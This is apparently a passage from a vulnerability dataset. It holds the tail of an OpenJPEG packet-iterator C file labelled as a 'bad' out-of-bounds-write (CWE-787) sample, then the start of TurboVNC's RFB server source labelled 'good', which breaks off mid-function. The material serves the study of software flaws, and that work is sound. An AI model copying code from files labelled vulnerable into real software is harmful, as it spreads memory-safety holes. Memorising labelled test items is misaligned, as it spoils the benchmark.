opj_free(p_pi->include); p_pi->include = 00; } for (pino = 0; pino < p_nb_elements; ++pino){ if(l_current_pi->comps) { opj_pi_comp_t *l_current_component = l_current_pi->comps; for (compno = 0; compno < l_current_pi->numcomps; compno++){ if(l_current_component->resolutions) { opj_free(l_current_component->resolutions); l_current_component->resolutions = 00; } ++l_current_component; } opj_free(l_current_pi->comps); l_current_pi->comps = 0; } ++l_current_pi; } opj_free(p_pi); } } void opj_pi_update_encoding_parameters( const opj_image_t *p_image, opj_cp_t *p_cp, OPJ_UINT32 p_tile_no ) { /* encoding parameters to set */ OPJ_UINT32 l_max_res; OPJ_UINT32 l_max_prec; OPJ_INT32 l_tx0,l_tx1,l_ty0,l_ty1; OPJ_UINT32 l_dx_min,l_dy_min; /* pointers */ opj_tcp_t *l_tcp = 00; /* preconditions */ assert(p_cp != 00); assert(p_image != 00); assert(p_tile_no < p_cp->tw * p_cp->th); l_tcp = &(p_cp->tcps[p_tile_no]); /* get encoding parameters */ opj_get_encoding_parameters(p_image,p_cp,p_tile_no,&l_tx0,&l_tx1,&l_ty0,&l_ty1,&l_dx_min,&l_dy_min,&l_max_prec,&l_max_res); if (l_tcp->POC) { opj_pi_update_encode_poc_and_final(p_cp,p_tile_no,l_tx0,l_tx1,l_ty0,l_ty1,l_max_prec,l_max_res,l_dx_min,l_dy_min); } else { opj_pi_update_encode_not_poc(p_cp,p_image->numcomps,p_tile_no,l_tx0,l_tx1,l_ty0,l_ty1,l_max_prec,l_max_res,l_dx_min,l_dy_min); } } OPJ_BOOL opj_pi_next(opj_pi_iterator_t * pi) { switch (pi->poc.prg) { case OPJ_LRCP: return opj_pi_next_lrcp(pi); case OPJ_RLCP: return opj_pi_next_rlcp(pi); case OPJ_RPCL: return opj_pi_next_rpcl(pi); case OPJ_PCRL: return opj_pi_next_pcrl(pi); case OPJ_CPRL: return opj_pi_next_cprl(pi); case OPJ_PROG_UNKNOWN: return OPJ_FALSE; } return OPJ_FALSE; }
./CrossVul/dataset_final_sorted/CWE-787/c/bad_5272_0
crossvul-cpp_data_good_1040_1
/* * rfbserver.c - deal with server-side of the RFB protocol. */ /* * Copyright (C) 2009-2019 D. R. Commander. All Rights Reserved. * Copyright (C) 2010 University Corporation for Atmospheric Research. * All Rights Reserved. * Copyright (C) 2005-2008 Sun Microsystems, Inc. All Rights Reserved. * Copyright (C) 2004 Landmark Graphics Corporation. All Rights Reserved. * Copyright (C) 2000-2006 Constantin Kaplinsky. All Rights Reserved. * Copyright (C) 2000 Tridia Corporation. All Rights Reserved. * Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, * USA. */ #ifdef HAVE_DIX_CONFIG_H #include <dix-config.h> #endif #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <pwd.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/time.h> #include <arpa/inet.h> #include "windowstr.h" #include "rfb.h" #include "sprite.h" /* #define GII_DEBUG */ char updateBuf[UPDATE_BUF_SIZE]; int ublen; rfbClientPtr rfbClientHead = NULL; rfbClientPtr pointerClient = NULL; /* Mutex for pointer events */ Bool rfbAlwaysShared = FALSE; Bool rfbNeverShared = FALSE; Bool rfbDontDisconnect = TRUE; Bool rfbViewOnly = FALSE; /* run server in view only mode - Ehud Karni SW */ Bool rfbSyncCutBuffer = TRUE; Bool rfbCongestionControl = TRUE; double rfbAutoLosslessRefresh = 0.0; int rfbALRQualityLevel = -1; int rfbALRSubsampLevel = TVNC_1X; int rfbCombineRect = 100; int rfbICEBlockSize = 256; Bool rfbInterframeDebug = FALSE; int rfbMaxWidth = MAXSHORT, rfbMaxHeight = MAXSHORT; int rfbMaxClipboard = MAX_CUTTEXT_LEN; Bool rfbVirtualTablet = FALSE; Bool rfbMT = TRUE; int rfbNumThreads = 0; static rfbClientPtr rfbNewClient(int sock); static void rfbProcessClientProtocolVersion(rfbClientPtr cl); static void rfbProcessClientInitMessage(rfbClientPtr cl); static void rfbSendInteractionCaps(rfbClientPtr cl); static void rfbProcessClientNormalMessage(rfbClientPtr cl); static Bool rfbSendCopyRegion(rfbClientPtr cl, RegionPtr reg, int dx, int dy); static Bool rfbSendLastRectMarker(rfbClientPtr cl); Bool rfbSendDesktopSize(rfbClientPtr cl); Bool rfbSendExtDesktopSize(rfbClientPtr cl); /* * Session capture */ char *captureFile = NULL; static void WriteCapture(int captureFD, char *buf, int len) { if (write(captureFD, buf, len) < len) rfbLogPerror("WriteCapture: Could not write to capture file"); } /* * Idle timeout */ CARD32 rfbMaxIdleTimeout = 0; CARD32 rfbIdleTimeout = 0; static double idleTimeout = -1.0; void IdleTimerSet(void) { idleTimeout = gettime() + (double)rfbIdleTimeout; } static void IdleTimerCancel(void) { idleTimeout = -1.0; } void IdleTimerCheck(void) { if (idleTimeout >= 0.0 && gettime() >= idleTimeout) FatalError("TurboVNC session has been idle for %u seconds. Exiting.", (unsigned int)rfbIdleTimeout); } /* * Profiling stuff */ static BOOL rfbProfile = FALSE; static double tUpdate = 0., tStart = -1., tElapsed, mpixels = 0., idmpixels = 0.; static unsigned long iter = 0; unsigned long long sendBytes = 0; double gettime(void) { struct timeval __tv; gettimeofday(&__tv, (struct timezone *)NULL); return (double)__tv.tv_sec + (double)__tv.tv_usec * 0.000001; } /* * Auto Lossless Refresh */ static Bool putImageOnly = TRUE, alrCopyRect = TRUE; static CARD32 alrCallback(OsTimerPtr timer, CARD32 time, pointer arg) { RegionRec copyRegionSave, modifiedRegionSave, requestedRegionSave, ifRegionSave; rfbClientPtr cl = (rfbClientPtr)arg; int tightCompressLevelSave, tightQualityLevelSave, copyDXSave, copyDYSave, tightSubsampLevelSave; RegionRec tmpRegion; REGION_INIT(pScreen, &tmpRegion, NullBox, 0); if (putImageOnly && !cl->firstUpdate) REGION_INTERSECT(pScreen, &tmpRegion, &cl->alrRegion, &cl->lossyRegion); else REGION_COPY(pScreen, &tmpRegion, &cl->lossyRegion); if (cl->firstUpdate) cl->firstUpdate = FALSE; if (REGION_NOTEMPTY(pScreen, &tmpRegion)) { tightCompressLevelSave = cl->tightCompressLevel; tightQualityLevelSave = cl->tightQualityLevel; tightSubsampLevelSave = cl->tightSubsampLevel; copyDXSave = cl->copyDX; copyDYSave = cl->copyDY; REGION_INIT(pScreen, &copyRegionSave, NullBox, 0); REGION_COPY(pScreen, &copyRegionSave, &cl->copyRegion); REGION_INIT(pScreen, &modifiedRegionSave, NullBox, 0); REGION_COPY(pScreen, &modifiedRegionSave, &cl->modifiedRegion); REGION_INIT(pScreen, &requestedRegionSave, NullBox, 0); REGION_COPY(pScreen, &requestedRegionSave, &cl->requestedRegion); REGION_INIT(pScreen, &ifRegionSave, NullBox, 0); REGION_COPY(pScreen, &ifRegionSave, &cl->ifRegion); cl->tightCompressLevel = 1; cl->tightQualityLevel = rfbALRQualityLevel; cl->tightSubsampLevel = rfbALRSubsampLevel; cl->copyDX = cl->copyDY = 0; REGION_EMPTY(pScreen, &cl->copyRegion); REGION_EMPTY(pScreen, &cl->modifiedRegion); REGION_UNION(pScreen, &cl->modifiedRegion, &cl->modifiedRegion, &tmpRegion); REGION_EMPTY(pScreen, &cl->requestedRegion); REGION_UNION(pScreen, &cl->requestedRegion, &cl->requestedRegion, &tmpRegion); if (cl->compareFB) { REGION_EMPTY(pScreen, &cl->ifRegion); REGION_UNION(pScreen, &cl->ifRegion, &cl->ifRegion, &tmpRegion); } if (!rfbSendFramebufferUpdate(cl)) return 0; REGION_EMPTY(pScreen, &cl->lossyRegion); REGION_EMPTY(pScreen, &cl->alrRegion); cl->tightCompressLevel = tightCompressLevelSave; cl->tightQualityLevel = tightQualityLevelSave; cl->tightSubsampLevel = tightSubsampLevelSave; cl->copyDX = copyDXSave; cl->copyDY = copyDYSave; REGION_COPY(pScreen, &cl->copyRegion, &copyRegionSave); REGION_COPY(pScreen, &cl->modifiedRegion, &modifiedRegionSave); REGION_COPY(pScreen, &cl->requestedRegion, &requestedRegionSave); REGION_UNINIT(pScreen, &copyRegionSave); REGION_UNINIT(pScreen, &modifiedRegionSave); REGION_UNINIT(pScreen, &requestedRegionSave); if (cl->compareFB) { REGION_COPY(pScreen, &cl->ifRegion, &ifRegionSave); REGION_UNINIT(pScreen, &ifRegionSave); } } REGION_UNINIT(pScreen, &tmpRegion); return 0; } static CARD32 updateCallback(OsTimerPtr timer, CARD32 time, pointer arg) { rfbClientPtr cl = (rfbClientPtr)arg; rfbSendFramebufferUpdate(cl); return 0; } /* * Interframe comparison */ int rfbInterframe = -1; /* -1 = auto (determined by compression level) */ Bool InterframeOn(rfbClientPtr cl) { if (!cl->compareFB) { if (!(cl->compareFB = (char *)malloc(rfbFB.paddedWidthInBytes * rfbFB.height))) { rfbLogPerror("InterframeOn: couldn't allocate comparison buffer"); return FALSE; } memset(cl->compareFB, 0, rfbFB.paddedWidthInBytes * rfbFB.height); REGION_INIT(pScreen, &cl->ifRegion, NullBox, 0); cl->firstCompare = TRUE; rfbLog("Interframe comparison enabled\n"); } cl->fb = cl->compareFB; return TRUE; } void InterframeOff(rfbClientPtr cl) { if (cl->compareFB) { free(cl->compareFB); REGION_UNINIT(pScreen, &cl->ifRegion); rfbLog("Interframe comparison disabled\n"); } cl->compareFB = NULL; cl->fb = rfbFB.pfbMemory; } /* * Map of quality levels to provide compatibility with TightVNC/TigerVNC * clients */ static int JPEG_QUAL[10] = { 15, 29, 41, 42, 62, 77, 79, 86, 92, 100 }; static int JPEG_SUBSAMP[10] = { 1, 1, 1, 2, 2, 2, 0, 0, 0, 0 }; /* * rfbNewClientConnection is called from sockets.c when a new connection * comes in. */ void rfbNewClientConnection(int sock) { rfbNewClient(sock); } /* * rfbReverseConnection is called to make an outward connection to a * "listening" RFB client. */ rfbClientPtr rfbReverseConnection(char *host, int port, int id) { int sock; rfbClientPtr cl; if (rfbAuthDisableRevCon) { rfbLog("Reverse connections disabled\n"); return (rfbClientPtr)NULL; } if ((sock = rfbConnect(host, port)) < 0) return (rfbClientPtr)NULL; if (id > 0) { rfbClientRec cl; char temps[250]; memset(temps, 0, 250); snprintf(temps, 250, "ID:%d", id); rfbLog("UltraVNC Repeater Mode II ID is %d\n", id); cl.sock = sock; if (WriteExact(&cl, temps, 250) < 0) { rfbLogPerror("rfbReverseConnection: write"); rfbCloseSock(sock); return NULL; } } cl = rfbNewClient(sock); if (cl) cl->reverseConnection = TRUE; return cl; } /* * rfbNewClient is called when a new connection has been made by whatever * means. */ static rfbClientPtr rfbNewClient(int sock) { rfbProtocolVersionMsg pv; rfbClientPtr cl; BoxRec box; rfbSockAddr addr; socklen_t addrlen = sizeof(struct sockaddr_storage); char addrStr[INET6_ADDRSTRLEN]; char *env = NULL; int np = sysconf(_SC_NPROCESSORS_CONF); if (rfbClientHead == NULL) /* no other clients - make sure we don't think any keys are pressed */ KbdReleaseAllKeys(); cl = (rfbClientPtr)rfbAlloc0(sizeof(rfbClientRec)); if (rfbClientHead == NULL && captureFile) { cl->captureFD = open(captureFile, O_CREAT | O_EXCL | O_WRONLY, S_IRUSR | S_IWUSR); if (cl->captureFD < 0) rfbLogPerror("Could not open capture file"); else rfbLog("Opened capture file %s\n", captureFile); } else cl->captureFD = -1; cl->sock = sock; getpeername(sock, &addr.u.sa, &addrlen); cl->host = strdup(sockaddr_string(&addr, addrStr, INET6_ADDRSTRLEN)); /* Dispatch client input to rfbProcessClientProtocolVersion(). */ cl->state = RFB_PROTOCOL_VERSION; cl->preferredEncoding = rfbEncodingTight; cl->correMaxWidth = 48; cl->correMaxHeight = 48; REGION_INIT(pScreen, &cl->copyRegion, NullBox, 0); box.x1 = box.y1 = 0; box.x2 = rfbFB.width; box.y2 = rfbFB.height; REGION_INIT(pScreen, &cl->modifiedRegion, &box, 0); REGION_INIT(pScreen, &cl->requestedRegion, NullBox, 0); cl->deferredUpdateStart = gettime(); cl->format = rfbServerFormat; cl->translateFn = rfbTranslateNone; cl->tightCompressLevel = TIGHT_DEFAULT_COMPRESSION; cl->tightSubsampLevel = TIGHT_DEFAULT_SUBSAMP; cl->tightQualityLevel = -1; cl->imageQualityLevel = -1; cl->next = rfbClientHead; cl->prev = NULL; if (rfbClientHead) rfbClientHead->prev = cl; rfbClientHead = cl; rfbResetStats(cl); cl->zlibCompressLevel = 5; sprintf(pv, rfbProtocolVersionFormat, 3, 8); if (WriteExact(cl, pv, sz_rfbProtocolVersionMsg) < 0) { rfbLogPerror("rfbNewClient: write"); rfbCloseClient(cl); return NULL; } if ((env = getenv("TVNC_PROFILE")) != NULL && !strcmp(env, "1")) rfbProfile = TRUE; if ((env = getenv("TVNC_ICEDEBUG")) != NULL && !strcmp(env, "1")) rfbInterframeDebug = TRUE; if ((env = getenv("TVNC_ICEBLOCKSIZE")) != NULL) { int iceBlockSize = atoi(env); if (iceBlockSize >= 0) rfbICEBlockSize = iceBlockSize; } if ((env = getenv("TVNC_COMBINERECT")) != NULL) { int combine = atoi(env); if (combine > 0 && combine <= 65000) rfbCombineRect = combine; } cl->firstUpdate = TRUE; /* The TigerVNC Viewer won't enable remote desktop resize until it receives a desktop resize message from the server, so we give it one with the first FBU. */ cl->reason = rfbEDSReasonServer; cl->result = rfbEDSResultSuccess; if (rfbAutoLosslessRefresh > 0.0) { REGION_INIT(pScreen, &cl->lossyRegion, NullBox, 0); if ((env = getenv("TVNC_ALRALL")) != NULL && !strcmp(env, "1")) putImageOnly = FALSE; if ((env = getenv("TVNC_ALRCOPYRECT")) != NULL && !strcmp(env, "0")) alrCopyRect = FALSE; REGION_INIT(pScreen, &cl->alrRegion, NullBox, 0); REGION_INIT(pScreen, &cl->alrEligibleRegion, NullBox, 0); } if ((env = getenv("TVNC_MT")) != NULL && !strcmp(env, "0")) rfbMT = FALSE; if ((env = getenv("TVNC_NTHREADS")) != NULL && strlen(env) >= 1) { int temp = atoi(env); if (temp >= 1 && temp <= MAX_ENCODING_THREADS) rfbNumThreads = temp; else rfbLog("WARNING: Invalid value of TVNC_NTHREADS (%s) ignored\n", env); } if (np == -1 && rfbMT) { rfbLog("WARNING: Could not determine CPU count. Multithreaded encoding disabled.\n"); rfbMT = FALSE; } if (!rfbMT) rfbNumThreads = 1; else if (rfbNumThreads < 1) rfbNumThreads = min(np, 4); if (rfbNumThreads > np) { rfbLog("NOTICE: Encoding thread count has been clamped to CPU count\n"); rfbNumThreads = np; } if (rfbIdleTimeout > 0) IdleTimerCancel(); cl->baseRTT = cl->minRTT = (unsigned)-1; gettimeofday(&cl->lastWrite, NULL); REGION_INIT(pScreen, &cl->cuRegion, NullBox, 0); if (rfbInterframe == 1) { if (!InterframeOn(cl)) { rfbCloseClient(cl); return NULL; } } else InterframeOff(cl); return cl; } /* * rfbClientConnectionGone is called from sockets.c just after a connection * has gone away. */ void rfbClientConnectionGone(rfbClientPtr cl) { int i; if (cl->prev) cl->prev->next = cl->next; else rfbClientHead = cl->next; if (cl->next) cl->next->prev = cl->prev; TimerFree(cl->alrTimer); TimerFree(cl->deferredUpdateTimer); TimerFree(cl->updateTimer); TimerFree(cl->congestionTimer); #ifdef XVNC_AuthPAM rfbPAMEnd(cl); #endif if (cl->login != NULL) { rfbLog("Client %s (%s) gone\n", cl->login, cl->host); free(cl->login); } else { rfbLog("Client %s gone\n", cl->host); } free(cl->host); ShutdownTightThreads(); if (rfbAutoLosslessRefresh > 0.0) { REGION_UNINIT(pScreen, &cl->lossyRegion); REGION_UNINIT(pScreen, &cl->alrRegion); REGION_UNINIT(pScreen, &cl->alrEligibleRegion); } /* Release the compression state structures if any. */ if (cl->compStreamInited == TRUE) deflateEnd(&(cl->compStream)); for (i = 0; i < 4; i++) { if (cl->zsActive[i]) deflateEnd(&cl->zsStruct[i]); } if (pointerClient == cl) pointerClient = NULL; REGION_UNINIT(pScreen, &cl->copyRegion); REGION_UNINIT(pScreen, &cl->modifiedRegion); rfbPrintStats(cl); if (cl->translateLookupTable) free(cl->translateLookupTable); rfbFreeZrleData(cl); if (cl->cutText) free(cl->cutText); InterframeOff(cl); i = cl->numDevices; while (i-- > 0) RemoveExtInputDevice(cl, 0); if (cl->captureFD >= 0) close(cl->captureFD); free(cl); if (rfbClientHead == NULL && rfbIdleTimeout > 0) IdleTimerSet(); } /* * rfbProcessClientMessage is called when there is data to read from a client. */ void rfbProcessClientMessage(rfbClientPtr cl) { rfbCorkSock(cl->sock); if (cl->pendingSyncFence) { cl->syncFence = TRUE; cl->pendingSyncFence = FALSE; } switch (cl->state) { case RFB_PROTOCOL_VERSION: rfbProcessClientProtocolVersion(cl); break; case RFB_SECURITY_TYPE: /* protocol versions 3.7 and above */ rfbProcessClientSecurityType(cl); break; case RFB_TUNNELING_TYPE: /* protocol versions 3.7t, 3.8t */ rfbProcessClientTunnelingType(cl); break; case RFB_AUTH_TYPE: /* protocol versions 3.7t, 3.8t */ rfbProcessClientAuthType(cl); break; #if USETLS case RFB_TLS_HANDSHAKE: rfbAuthTLSHandshake(cl); break; #endif case RFB_AUTHENTICATION: rfbAuthProcessResponse(cl); break; case RFB_INITIALISATION: rfbInitFlowControl(cl); rfbProcessClientInitMessage(cl); break; default: rfbProcessClientNormalMessage(cl); } CHECK_CLIENT_PTR(cl, return) if (cl->syncFence) { if (!rfbSendFence(cl, cl->fenceFlags, cl->fenceDataLen, cl->fenceData)) return; cl->syncFence = FALSE; } rfbUncorkSock(cl->sock); } /* * rfbProcessClientProtocolVersion is called when the client sends its * protocol version. */ static void rfbProcessClientProtocolVersion(rfbClientPtr cl) { rfbProtocolVersionMsg pv; int n, major, minor; if ((n = ReadExact(cl, pv, sz_rfbProtocolVersionMsg)) <= 0) { if (n == 0) rfbLog("rfbProcessClientProtocolVersion: client gone\n"); else rfbLogPerror("rfbProcessClientProtocolVersion: read"); rfbCloseClient(cl); return; } pv[sz_rfbProtocolVersionMsg] = 0; if (sscanf(pv, rfbProtocolVersionFormat, &major, &minor) != 2) { rfbLog("rfbProcessClientProtocolVersion: not a valid RFB client\n"); rfbCloseClient(cl); return; } if (major != 3) { rfbLog("Unsupported protocol version %d.%d\n", major, minor); rfbCloseClient(cl); return; } /* Always use one of the three standard versions of the RFB protocol. */ cl->protocol_minor_ver = minor; if (minor > 8) /* buggy client */ cl->protocol_minor_ver = 8; else if (minor > 3 && minor < 7) /* non-standard client */ cl->protocol_minor_ver = 3; else if (minor < 3) /* ancient client */ cl->protocol_minor_ver = 3; if (cl->protocol_minor_ver != minor) rfbLog("Non-standard protocol version 3.%d, using 3.%d instead\n", minor, cl->protocol_minor_ver); else rfbLog("Using protocol version 3.%d\n", cl->protocol_minor_ver); /* TightVNC protocol extensions are not enabled yet. */ cl->protocol_tightvnc = FALSE; rfbAuthNewClient(cl); } /* * rfbProcessClientInitMessage is called when the client sends its * initialisation message. */ static void rfbProcessClientInitMessage(rfbClientPtr cl) { rfbClientInitMsg ci; char buf[256]; rfbServerInitMsg *si = (rfbServerInitMsg *)buf; int len, n; rfbClientPtr otherCl, nextCl; if ((n = ReadExact(cl, (char *)&ci, sz_rfbClientInitMsg)) <= 0) { if (n == 0) rfbLog("rfbProcessClientInitMessage: client gone\n"); else rfbLogPerror("rfbProcessClientInitMessage: read"); rfbCloseClient(cl); return; } si->framebufferWidth = Swap16IfLE(rfbFB.width); si->framebufferHeight = Swap16IfLE(rfbFB.height); si->format = rfbServerFormat; si->format.redMax = Swap16IfLE(si->format.redMax); si->format.greenMax = Swap16IfLE(si->format.greenMax); si->format.blueMax = Swap16IfLE(si->format.blueMax); if (strlen(desktopName) > 128) /* sanity check on desktop name len */ desktopName[128] = 0; sprintf(buf + sz_rfbServerInitMsg, "%s", desktopName); len = strlen(buf + sz_rfbServerInitMsg); si->nameLength = Swap32IfLE(len); if (WriteExact(cl, buf, sz_rfbServerInitMsg + len) < 0) { rfbLogPerror("rfbProcessClientInitMessage: write"); rfbCloseClient(cl); return; } if (cl->protocol_tightvnc) rfbSendInteractionCaps(cl); /* protocol 3.7t */ /* Dispatch client input to rfbProcessClientNormalMessage(). */ cl->state = RFB_NORMAL; if (!cl->reverseConnection && (rfbNeverShared || (!rfbAlwaysShared && !ci.shared))) { if (rfbDontDisconnect) { for (otherCl = rfbClientHead; otherCl; otherCl = otherCl->next) { if ((otherCl != cl) && (otherCl->state == RFB_NORMAL)) { rfbLog("-dontdisconnect: Not shared & existing client\n"); rfbLog(" refusing new client %s\n", cl->host); rfbCloseClient(cl); return; } } } else { for (otherCl = rfbClientHead; otherCl; otherCl = nextCl) { nextCl = otherCl->next; if ((otherCl != cl) && (otherCl->state == RFB_NORMAL)) { rfbLog("Not shared - closing connection to client %s\n", otherCl->host); rfbCloseClient(otherCl); } } } } } /* * rfbSendInteractionCaps is called after sending the server * initialisation message, only if TightVNC protocol extensions were * enabled (protocol versions 3.7t, 3.8t). In this function, we send * the lists of supported protocol messages and encodings. */ /* Update these constants on changing capability lists below! */ #define N_SMSG_CAPS 0 #define N_CMSG_CAPS 0 #define N_ENC_CAPS 17 void rfbSendInteractionCaps(rfbClientPtr cl) { rfbInteractionCapsMsg intr_caps; rfbCapabilityInfo enc_list[N_ENC_CAPS]; int i; /* Fill in the header structure sent prior to capability lists. */ intr_caps.nServerMessageTypes = Swap16IfLE(N_SMSG_CAPS); intr_caps.nClientMessageTypes = Swap16IfLE(N_CMSG_CAPS); intr_caps.nEncodingTypes = Swap16IfLE(N_ENC_CAPS); intr_caps.pad = 0; /* Supported server->client message types. */ /* For future file transfer support: i = 0; SetCapInfo(&smsg_list[i++], rfbFileListData, rfbTightVncVendor); SetCapInfo(&smsg_list[i++], rfbFileDownloadData, rfbTightVncVendor); SetCapInfo(&smsg_list[i++], rfbFileUploadCancel, rfbTightVncVendor); SetCapInfo(&smsg_list[i++], rfbFileDownloadFailed, rfbTightVncVendor); if (i != N_SMSG_CAPS) { rfbLog("rfbSendInteractionCaps: assertion failed, i != N_SMSG_CAPS\n"); rfbCloseClient(cl); return; } */ /* Supported client->server message types. */ /* For future file transfer support: i = 0; SetCapInfo(&cmsg_list[i++], rfbFileListRequest, rfbTightVncVendor); SetCapInfo(&cmsg_list[i++], rfbFileDownloadRequest, rfbTightVncVendor); SetCapInfo(&cmsg_list[i++], rfbFileUploadRequest, rfbTightVncVendor); SetCapInfo(&cmsg_list[i++], rfbFileUploadData, rfbTightVncVendor); SetCapInfo(&cmsg_list[i++], rfbFileDownloadCancel, rfbTightVncVendor); SetCapInfo(&cmsg_list[i++], rfbFileUploadFailed, rfbTightVncVendor); if (i != N_CMSG_CAPS) { rfbLog("rfbSendInteractionCaps: assertion failed, i != N_CMSG_CAPS\n"); rfbCloseClient(cl); return; } */ /* Encoding types. */ i = 0; SetCapInfo(&enc_list[i++], rfbEncodingCopyRect, rfbStandardVendor); SetCapInfo(&enc_list[i++], rfbEncodingRRE, rfbStandardVendor); SetCapInfo(&enc_list[i++], rfbEncodingCoRRE, rfbStandardVendor); SetCapInfo(&enc_list[i++], rfbEncodingHextile, rfbStandardVendor); SetCapInfo(&enc_list[i++], rfbEncodingZlib, rfbTridiaVncVendor); SetCapInfo(&enc_list[i++], rfbEncodingZRLE, rfbTridiaVncVendor); SetCapInfo(&enc_list[i++], rfbEncodingZYWRLE, rfbTridiaVncVendor); SetCapInfo(&enc_list[i++], rfbEncodingTight, rfbTightVncVendor); SetCapInfo(&enc_list[i++], rfbEncodingCompressLevel0, rfbTightVncVendor); SetCapInfo(&enc_list[i++], rfbEncodingQualityLevel0, rfbTightVncVendor); SetCapInfo(&enc_list[i++], rfbEncodingFineQualityLevel0, rfbTurboVncVendor); SetCapInfo(&enc_list[i++], rfbEncodingSubsamp1X, rfbTurboVncVendor); SetCapInfo(&enc_list[i++], rfbEncodingXCursor, rfbTightVncVendor); SetCapInfo(&enc_list[i++], rfbEncodingRichCursor, rfbTightVncVendor); SetCapInfo(&enc_list[i++], rfbEncodingPointerPos, rfbTightVncVendor); SetCapInfo(&enc_list[i++], rfbEncodingLastRect, rfbTightVncVendor); SetCapInfo(&enc_list[i++], rfbGIIServer, rfbGIIVendor); if (i != N_ENC_CAPS) { rfbLog("rfbSendInteractionCaps: assertion failed, i != N_ENC_CAPS\n"); rfbCloseClient(cl); return; } /* Send header and capability lists */ if (WriteExact(cl, (char *)&intr_caps, sz_rfbInteractionCapsMsg) < 0 || WriteExact(cl, (char *)&enc_list[0], sz_rfbCapabilityInfo * N_ENC_CAPS) < 0) { rfbLogPerror("rfbSendInteractionCaps: write"); rfbCloseClient(cl); return; } /* Dispatch client input to rfbProcessClientNormalMessage(). */ cl->state = RFB_NORMAL; } /* * rfbProcessClientNormalMessage is called when the client has sent a normal * protocol message. */ #define READ(addr, numBytes) \ if ((n = ReadExact(cl, addr, numBytes)) <= 0) { \ if (n != 0) \ rfbLogPerror("rfbProcessClientNormalMessage: read"); \ rfbCloseClient(cl); \ return; \ } #define SKIP(numBytes) \ if ((n = SkipExact(cl, numBytes)) <= 0) { \ if (n != 0) \ rfbLogPerror("rfbProcessClientNormalMessage: skip"); \ rfbCloseClient(cl); \ return; \ } static void rfbProcessClientNormalMessage(rfbClientPtr cl) { int n; rfbClientToServerMsg msg; char *str; READ((char *)&msg, 1) switch (msg.type) { case rfbSetPixelFormat: READ(((char *)&msg) + 1, sz_rfbSetPixelFormatMsg - 1) cl->format.bitsPerPixel = msg.spf.format.bitsPerPixel; cl->format.depth = msg.spf.format.depth; cl->format.bigEndian = (msg.spf.format.bigEndian ? 1 : 0); cl->format.trueColour = (msg.spf.format.trueColour ? 1 : 0); cl->format.redMax = Swap16IfLE(msg.spf.format.redMax); cl->format.greenMax = Swap16IfLE(msg.spf.format.greenMax); cl->format.blueMax = Swap16IfLE(msg.spf.format.blueMax); cl->format.redShift = msg.spf.format.redShift; cl->format.greenShift = msg.spf.format.greenShift; cl->format.blueShift = msg.spf.format.blueShift; cl->readyForSetColourMapEntries = TRUE; rfbSetTranslateFunction(cl); return; case rfbFixColourMapEntries: READ(((char *)&msg) + 1, sz_rfbFixColourMapEntriesMsg - 1) rfbLog("rfbProcessClientNormalMessage: FixColourMapEntries unsupported\n"); rfbCloseClient(cl); return; case rfbSetEncodings: { int i; CARD32 enc; Bool firstFence = !cl->enableFence; Bool firstCU = !cl->enableCU; Bool firstGII = !cl->enableGII; Bool logTightCompressLevel = FALSE; READ(((char *)&msg) + 1, sz_rfbSetEncodingsMsg - 1) msg.se.nEncodings = Swap16IfLE(msg.se.nEncodings); cl->preferredEncoding = -1; cl->useCopyRect = FALSE; cl->enableCursorShapeUpdates = FALSE; cl->enableCursorPosUpdates = FALSE; cl->enableLastRectEncoding = FALSE; cl->tightCompressLevel = TIGHT_DEFAULT_COMPRESSION; cl->tightSubsampLevel = TIGHT_DEFAULT_SUBSAMP; cl->tightQualityLevel = -1; cl->imageQualityLevel = -1; for (i = 0; i < msg.se.nEncodings; i++) { READ((char *)&enc, 4) enc = Swap32IfLE(enc); switch (enc) { case rfbEncodingCopyRect: cl->useCopyRect = TRUE; break; case rfbEncodingRaw: if (cl->preferredEncoding == -1) { cl->preferredEncoding = enc; rfbLog("Using raw encoding for client %s\n", cl->host); } break; case rfbEncodingRRE: if (cl->preferredEncoding == -1) { cl->preferredEncoding = enc; rfbLog("Using rre encoding for client %s\n", cl->host); } break; case rfbEncodingCoRRE: if (cl->preferredEncoding == -1) { cl->preferredEncoding = enc; rfbLog("Using CoRRE encoding for client %s\n", cl->host); } break; case rfbEncodingHextile: if (cl->preferredEncoding == -1) { cl->preferredEncoding = enc; rfbLog("Using hextile encoding for client %s\n", cl->host); } break; case rfbEncodingZlib: if (cl->preferredEncoding == -1) { cl->preferredEncoding = enc; rfbLog("Using zlib encoding for client %s\n", cl->host); } break; case rfbEncodingZRLE: if (cl->preferredEncoding == -1) { cl->preferredEncoding = enc; rfbLog("Using ZRLE encoding for client %s\n", cl->host); } break; case rfbEncodingZYWRLE: if (cl->preferredEncoding == -1) { cl->preferredEncoding = enc; rfbLog("Using ZYWRLE encoding for client %s\n", cl->host); } break; case rfbEncodingTight: if (cl->preferredEncoding == -1) { cl->preferredEncoding = enc; rfbLog("Using tight encoding for client %s\n", cl->host); } break; case rfbEncodingXCursor: if (!cl->enableCursorShapeUpdates) { rfbLog("Enabling X-style cursor updates for client %s\n", cl->host); cl->enableCursorShapeUpdates = TRUE; cl->useRichCursorEncoding = FALSE; cl->cursorWasChanged = TRUE; } break; case rfbEncodingRichCursor: if (!cl->enableCursorShapeUpdates) { rfbLog("Enabling full-color cursor updates for client %s\n", cl->host); cl->enableCursorShapeUpdates = TRUE; cl->useRichCursorEncoding = TRUE; cl->cursorWasChanged = TRUE; } break; case rfbEncodingPointerPos: if (!cl->enableCursorPosUpdates) { rfbLog("Enabling cursor position updates for client %s\n", cl->host); cl->enableCursorPosUpdates = TRUE; cl->cursorWasMoved = TRUE; cl->cursorX = -1; cl->cursorY = -1; } break; case rfbEncodingLastRect: if (!cl->enableLastRectEncoding) { rfbLog("Enabling LastRect protocol extension for client %s\n", cl->host); cl->enableLastRectEncoding = TRUE; } break; case rfbEncodingFence: if (!cl->enableFence) { rfbLog("Enabling Fence protocol extension for client %s\n", cl->host); cl->enableFence = TRUE; } break; case rfbEncodingContinuousUpdates: if (!cl->enableCU) { rfbLog("Enabling Continuous Updates protocol extension for client %s\n", cl->host); 